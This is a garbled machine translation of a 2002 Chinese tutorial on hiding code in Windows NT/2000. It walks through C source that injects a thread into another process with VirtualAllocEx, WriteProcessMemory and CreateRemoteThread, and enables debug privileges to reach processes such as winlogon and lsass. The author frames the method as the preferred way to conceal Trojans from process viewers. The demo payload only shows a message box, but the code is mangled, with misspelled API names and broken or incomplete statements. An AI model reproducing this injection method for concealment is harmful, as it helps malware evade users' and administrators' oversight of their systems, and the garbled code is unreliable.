WinNT & Win2K achieve completely hidden under the process of: AntGhazi Home: antghazi.yeah.net
In the face of many computer masters, consider for a long time, finally decided to show up ugly, try to use the simplest and easy-to-understand words and examples in the article, hoping to help some beginners and advancedors. Regarding the hidden process, 98 counts count counts. The hidden method under Winnt / Win2k, the masters of Xiqiao Shotgun has released an example in the online last year, "Uncovering the mystery of the Trojan <4>", I also read his article, for his computer level. And enthusiastic help friends have very admired. It is also an in-depth introduction to the supplementation and deep introduction to SHOTGUN's article, ok, gossip less. In WinNT, "True Hidden Process", it can be found to be realized at all, as long as our procedure is running in the form of the process kernel, it is impossible to flee the mental eye of Ctrl Alt Del. So strange, is this contradictory this is contradictory with our title "Fully hidden in Winnt & Win2k"? Yes, it should actually be: perform the target code in a non-process, and escape the procedure of the process viewer to achieve the purpose of "process hide". We used here, in the host process, perform our code in the way. It is very simple to achieve. First, let's create a thread DWORD stdcall threadproc (lpvoid * lpvoid) {return 0 that does not perform any statement;} then copy the thread code to anywhere you can perform (ie, page properties as PAGGE_EXECUTE_READWRITE), such as: Share the memory image, the host process. Here we choose the host process, when you copy, we need to apply for a memory using the VirtualaLalkEx function in the host process, and then use WriteProcessMemory to write the thread in the host process. After the above work is completed, we can activate its execution in the CreateremoteThread function.
Here is a complete example // Remote thread executive dword __stdcall threadProc (void * lppara) {return 0;} int main (int Argc, char * argv []) {const dword threadsize = 1024 * 4; // temporarily Worder size size is 4K, actually not so big, I will introduce DWORD BYTE_WRITE; // Get the specified process ID handle, and set it to process_all_access, 992 is the ID number of the sector, get the ID number here I do not speak HANDLE hWnd = :: OpenProcess (PROCESS_ALL_ACCESS, FALSE, 992); if return 0 (hWnd!); void * pRemoteThread = :: VirtualAllocEx (hWnd, 0, THREADSIZE, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE); // Apply for if (! Premothetread) return 0; if (! :: writeprocessmemory (hwnd, threadsize, 0)) // Write process return 0; // Start thread Handle Hthread = :: CreateremoteThread (hwnd, 0, 0, (DWORD (__stdcall *)) premotethread, null, 0, & byte_write); if (! Hthread) {// There is a memory allocation unleash Return 0;} return 0;} to here, for The hidden approach is considered to be a paragraph, and I believe that friends who have seen this idea have a very clear concept. After understanding the hidden approach, we focus on the execution of the thread. As follows: DWORD __STDCALL THREADPROC (Void * LPpara) {MessageBox (Null, "Hello", "Hello", 0); return 0;} After compiling execution, you will find an illegal operation error, why? In the Win2K operating system management of paragraph-style memory, you will compile all constants in the .DATA section of the PE file, and the code segment is in .text, so we copy it into the host process. The code is code in .text, MessageBox (NULL, (CHAR *) pointer, p, 0); the pointed address is the memory virtual address of this process. In the host process, it is impossible to access. The method of solving is simple, pressing the old photo to copy "Hello" to the target process, and then reference it. Similarly, the MessageBox function address is compiled, and it is also saved in .import, friends who write Win2K virus know that all constants and function entry addresses need to be defined and derived in code segment, and we are also a bit similar to him. The words retired, the same case, we also write the entry address of the function together into the target process.
// parameters define the structure typedef struct _RemotePara {// parameter structure char pMessageBox [12]; DWORD dwMessageBox;} RemotePara; // to pay value RemotePara myRemotePara; :: ZeroMemory (& myRemotePara, sizeof (RemotePara)); HINSTANCE hUser32 = :: LoadLibrary ( "user32.dll"); myRemotePara.dwMessageBox = (DWORD) :: GetProcAddress (hUser32, "MessageBoxA"); strcat (myRemotePara.pMessageBox, "hello / 0"); // written into the target process RemotePara * pRemotePara = (Remotepara *) :: VirtualaLalkEx (hwnd, 0, sizeof (remotepara), MEM_COMMIT, PAGE_READWRITE); // Note Page Protection Properties IF (! Premotepara) Return 0; if (! :: WriteProcessMemory); IF (! :: WriteProcessMemory); , & myRemotepara, SizeOf myremotepara, 0) Return 0; // Start transfer Parameters into Handle Hthread = :: CreateremoteThread (hwnd, 0 ,0, (dword (__stdcall *) (void *)) premoteThread, premotepara, 0, & ByTE_WRITE); if (! hthread) {return 0;} Ok, it is as simple, and now gives an instance of a MessageBox that pops up:
// RemoteThread.cpp: Defines the entry point for the console application.//#include "stdafx.h" typedef struct _RemotePara {// parameter structure char pMessageBox [12]; DWORD dwMessageBox;} RemotePara; // DWORD __stdcall remote thread ThreadProc (RemotePara * lpPara) {typedef int (__stdcall * MMessageBoxA) (HWND, LPCTSTR, LPCTSTR, DWORD); // MessageBox function defined MMessageBoxA myMessageBoxA; myMessageBoxA = (MMessageBoxA) lpPara-> dwMessageBox; // get function entry address myMessageBoxA ( NULL, LPPARA-> PMESSAGEBOX, LPPARA-> PMESSAGEBOX, 0); // Call Return 0;} void enabledebugpriv (); // Extra-enhanced application level debug permissions int main (int Argc, char * argv []) {const dword threadsize = 1024 * 4; DWORD byte_write; EnableDebugPriv (); // elevated privileges HANDLE hWnd = :: OpenProcess (PROCESS_ALL_ACCESS, FALSE, 992); if (hWnd!) return 0; void * pRemoteThread = :: VirtualAllocEx (hWnd, 0, THREADSIZE, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE); if (! pRemoteThread) return 0; if (:: WriteProcessMemory (hWnd, pRemoteThread, & ThreadProc, THREADSIZE, 0!)) return 0; // then pay the value RemotePara myRemotePara; :: Zer oMemory (& myRemotePara, sizeof (RemotePara)); HINSTANCE hUser32 = :: LoadLibrary ( "user32.dll"); myRemotePara.dwMessageBox = (DWORD) :: GetProcAddress (hUser32, "MessageBoxA"); strcat (myRemotePara.pMessageBox, "hello / 0 "); // Write the target process Remotepara * premotepara = (RemotePara *) :: VirtualaLalkEx (hwnd, 0, sizeof (remotepara), MEM_COMMIT, PAGE_READWRITE; // Note Page Properties IF when Applying Spaces (!! Premotepara ) RETURN 0; if (! :: writeprocessmemory (hwnd, premotepara, & myremotepara, sizeof myremotepara, 0) Return 0; // Start thread Handle Hthread = :: CreateRemThetRead (hwnd, 0 ,0, (dword (__stdcall *) ( Void *)) PremotThread, PremotePara, 0, & Byte_Write; if (! hthread) {return 0;} return 0;
} // elevated privileges void EnableDebugPriv (void) {HANDLE hToken; LUID sedebugnameValue; TOKEN_PRIVILEGES tkp; if (! OpenProcessToken (GetCurrentProcess (), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, & hToken)) return; if (LookupPrivilegeValue (NULL, SE_DEBUG_NAME, & sedebugnameValue)!) {CloseHandle (hToken); return;} tkp.PrivilegeCount = 1; tkp.Privileges [0] .Luid = sedebugnameValue; tkp.Privileges [0] .Attributes = SE_PRIVILEGE_ENABLED;! if (AdjustTokenPrivileges (hToken, FALSE, & tkp, sizeof tkp , NULL, NULL) CloseHandle (HTOKEN);} Ok, the program is created in the process of the process number 992 and pops up the Hello dialog box. Is it very simple? There are several places to be aware of: 1. When the remote thread applies for space in the host process, the size of the space is determined that I have never been able to solve the problem. I have used two close threads, with the distance between the thread, and plus the parameter size, as the application space, there will still be illegal operation, as follows: static void startthread (lpvoid * lppara) {return;} static void Endthread (LPVOID * LPPARA) {Return;} then use dword dwlenght = (dword) ((char *) & startthread - (char *) & endthread); // gets the StartThread thread code length, DWLENGHT = Sizeof (threadpara); still I illegally operated it makes me very confused. In Win2k, the page size of the thread's default stack is 4KB. Here I use a constant when applying for a memory for the thread, the size of the application temporarily uses a constant, and is a multiple of 4KB. When the selection is large, it will be large, after the thread can run successfully, It is a little bit a little. The way is stupid. If the friends here have a better way, please let me know. 2, what should be, what parameters need to be transferred from the outside? I didn't have a very powerful answer here. My understanding is that in addition to the .Text section, I need to use external parameters to be delivered to the thread, such as: .rsrc, .data, RDATA, etc. 15 festivals. In the process of our actual written, don't know where our code will compile, this time, we can compile the Alt 8 (VC "in the time of running, usually there is Lea EAX P, Push Offset P Take the address statement, this time, we most need to pass in parameters. So, everyone must pay attention to the parameters, because the execution of the thread is in other processes, a normal permission application is unable to span the process to debug other processes. Including VC, you can't debug our remote thread, familiarize yourself with your friends, you can use Softice to debug, this requires a certain substrate.
3, permission, this is very important, SHOTGUN is also very clear in this regard, there are many articles related to online, I will not say much. The EnableDebugPriv function in the article allows this process to create a thread in the process of Internet, WinLogin, LSASS. Win2k's process viewer cannot kill it. 4, the process ID is more way, such as: Enumprocesses, CreateToolhelp32Snapshot / Process32First / Process32Next, NTQuerySystemInformation function, etc., to reduce the code, the process ID in the example is directly obtained in the Process Viewer. Finally, let's go back to SHOTGUN's article, then we have a DLL file because we have been very clear about his method. The thread of the remote thread itself is the loadLibrary function, ie, the entrance address of the thread is the entry address of the LoadLibrary, which is a function in the system kernel32.dll, and any process can be called. Use the loadLibrary function in the thread to load our DLL into the system space, thread is executed, our DLL starts working. After the thread execution is over, don't forget to use VirtualFreeEx to release the memory area applied. Two methods are compared, it is obvious: 1. When using the DLL, create is very simple, and there is no much operating system and memory operation knowledge, and you can directly debug DLL files. It is relatively simple to achieve. 2, the method directly copied into the process is slightly complicated, and it is easy to operate. Of course, I also removed the annoying DLL file. After the program is executed, it is difficult to find his source, which is the preferred method of hidden horses outside the virus.
Here I refer to the source code of the nongmin.cn program, and his program is very good for me. Although there is no face, the level of computers is very admired, and respects his style, all non-commercial software or small code I have written later, all appear in the source code. It is a bit chaotic here, I hope to help everyone, I hope to have a friend who is hobbied to work, engaged in computer work.
ANTGHAZI / 2002.1.14 book mailto: antghazi@163.nethttp: //antghazi.yeah.net